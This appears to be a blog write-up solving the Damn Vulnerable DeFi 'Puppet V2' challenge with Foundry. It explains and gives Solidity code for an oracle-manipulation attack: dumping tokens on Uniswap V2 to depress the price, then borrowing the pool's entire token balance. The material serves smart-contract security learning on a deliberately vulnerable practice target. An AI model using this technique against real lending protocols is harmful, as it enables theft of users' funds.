Challenge #9 - Puppet V2#
In order to learn Solidity and Foundry systematically, I have rewritten the solution to damnvulnerable-defi based on the Foundry testing framework. Welcome to discuss and collaborate! 🎉
Contracts#
- PuppetV2Pool: Provides the borrow method to exchange WETH for tokens, with token prices sourced from Uniswap quotes.
- Uniswap-v2 related contracts
Testing#
- Deploy WETH and token contracts
- Deploy Uniswap factory, router, and pair contracts
- Inject liquidity by interacting with the router contract, with the number of tokens: UNISWAP_INITIAL_TOKEN_RESERVE and the number of ETH: UNISWAP_INITIAL_WETH_RESERVE
- Deploy the PuppetV2Pool contract and transfer PLAYER_INITIAL_TOKEN_BALANCE and POOL_INITIAL_TOKEN_BALANCE amounts of tokens to the player and pool respectively
- Execute the testing script
- Expect the token balance in the pool to be 0 and the token balance in the player's account to be greater than POOL_INITIAL_TOKEN_BALANCE
Solution#
The attack approach for this challenge is similar to Puppet V1, which involves attacking the pool using the Uniswap price oracle.
It is worth noting that Uniswap-v2 is used here, where token and WETH token pairs are used. However, the player user initially only has ETH and needs to interact with the WETH contract.
The complete attack process is shown in the following diagram:
- Step 1: Convert all tokens in the player's account to WETH by calling
swapExactTokensForTokens
, thereby reducing the token's unit price in Uniswap. - Step 2: Calculate how much WETH is required to borrow all tokens from the pool. After the first step, a portion of WETH has been obtained, and the remaining WETH is supplemented by pledging ETH.
- Step 3: Call the
borrow
method of the pool to borrow all tokens from the pool. - Step 4: (Not required in this challenge, but you can deposit WETH into the pool to make up for the price difference in the pool)
The complete code for the steps is as follows:
token.approve(address(uniswapV2Router), PLAYER_INITIAL_TOKEN_BALANCE);
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
// swap token to weth
uniswapV2Router.swapExactTokensForTokens(
PLAYER_INITIAL_TOKEN_BALANCE, // amount in
1, // amount out min
path, // path
address(player), // to
block.timestamp*2 // deadline
);
uint256 value = pool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
uint256 depositValue = value - weth.balanceOf(address(player));
weth.deposit{value: depositValue}();
weth.approve(address(pool), value);
pool.borrow(POOL_INITIAL_TOKEN_BALANCE);